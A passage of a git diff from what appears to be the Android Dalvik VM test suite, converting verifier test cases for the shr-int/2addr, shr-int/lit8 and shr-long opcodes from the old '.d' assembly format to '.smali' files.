+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.d
deleted file mode 100644
index a7bc7ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2addr_2.java
-.class public dot.junit.opcodes.shr_int_2addr.d.T_shr_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shr-int/2addr v6, v8
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.smali
new file mode 100644
index 0000000..84121ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int/2addr v6, v8
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.d
deleted file mode 100644
index 0a6ea58..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2addr_3.java
-.class public dot.junit.opcodes.shr_int_2addr.d.T_shr_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)I
-.limit regs 8
-
-       shr-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.smali
new file mode 100644
index 0000000..a7a4f76
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       shr-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.d
deleted file mode 100644
index 3d4d094..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2addr_4.java
-.class public dot.junit.opcodes.shr_int_2addr.d.T_shr_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       shr-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.smali
new file mode 100644
index 0000000..c618329
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       shr-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.d
deleted file mode 100644
index 4b35e2a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2addr_5.java
-.class public dot.junit.opcodes.shr_int_2addr.d.T_shr_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shr-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.smali
new file mode 100644
index 0000000..a222bd6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.d
deleted file mode 100644
index b563cc0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_2addr_6.java
-.class public dot.junit.opcodes.shr_int_2addr.d.T_shr_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       shr-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.smali
new file mode 100644
index 0000000..6f3ce99
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       shr-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.d
deleted file mode 100644
index d34130f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_1.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v7, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.smali
new file mode 100644
index 0000000..76b8dca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.d
deleted file mode 100644
index c94aa21..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_10.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v6, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.smali
new file mode 100644
index 0000000..1dfd795
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v6, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.d
deleted file mode 100644
index 1a3b1bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_2.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v7, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.smali
new file mode 100644
index 0000000..21eea2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.d
deleted file mode 100644
index 002cadf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_3.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v7, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.smali
new file mode 100644
index 0000000..cbefe94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.d
deleted file mode 100644
index 3b9b507..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_4.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v7, 33
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.smali
new file mode 100644
index 0000000..464adc7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 33
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.d
deleted file mode 100644
index 871040a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_5.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v7, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.smali
new file mode 100644
index 0000000..368746a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.d
deleted file mode 100644
index 761a30e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_6.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 8
-
-       shr-int/lit8 v0, v7, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.smali
new file mode 100644
index 0000000..88b0398
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       shr-int/lit8 v0, v7, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.d
deleted file mode 100644
index 34559e8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_7.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shr-int/lit8 v0, v8, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.smali
new file mode 100644
index 0000000..5622017
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shr-int/lit8 v0, v8, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.d
deleted file mode 100644
index d157daf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_8.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       shr-int/lit8 v0, v6, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.smali
new file mode 100644
index 0000000..1f9543a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       shr-int/lit8 v0, v6, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.d
deleted file mode 100644
index ed24326..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_int_lit8_9.java
-.class public dot.junit.opcodes.shr_int_lit8.d.T_shr_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       shr-int/lit8 v0, v6, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.smali
new file mode 100644
index 0000000..c3e0a4f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9.smali
@@ -0,0 +1,18 @@
+.source "T_shr_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/shr_int_lit8/d/T_shr_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       shr-int/lit8 v0, v6, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.d
deleted file mode 100644
index 08c82f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_1.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shr-long v0, v8, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.smali
new file mode 100644
index 0000000..d844619
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_1.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_1.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long v0, v8, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.d
deleted file mode 100644
index a87004a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_2.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shr-long v0, v8, v11
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.smali
new file mode 100644
index 0000000..cb97b49
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_2.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_2.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shr-long v0, v8, v11
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.d
deleted file mode 100644
index 9c78f73..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_3.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 11
-
-       shr-long v0, v7, v9
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.smali
new file mode 100644
index 0000000..db7d623
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_3.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_3.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 11
+
+       shr-long v0, v7, v9
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.d
deleted file mode 100644
index e6691cd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shr_long_4.java
-.class public dot.junit.opcodes.shr_long.d.T_shr_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)J
-.limit regs 11
-
-       shr-long v0, v9, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.smali
new file mode 100644
index 0000000..7ddef77
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_long/d/T_shr_long_4.smali
@@ -0,0 +1,18 @@
+.source "T_shr_long_4.java"
+.class  public Ldot/junit/opcodes/shr_long/d/T_shr_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
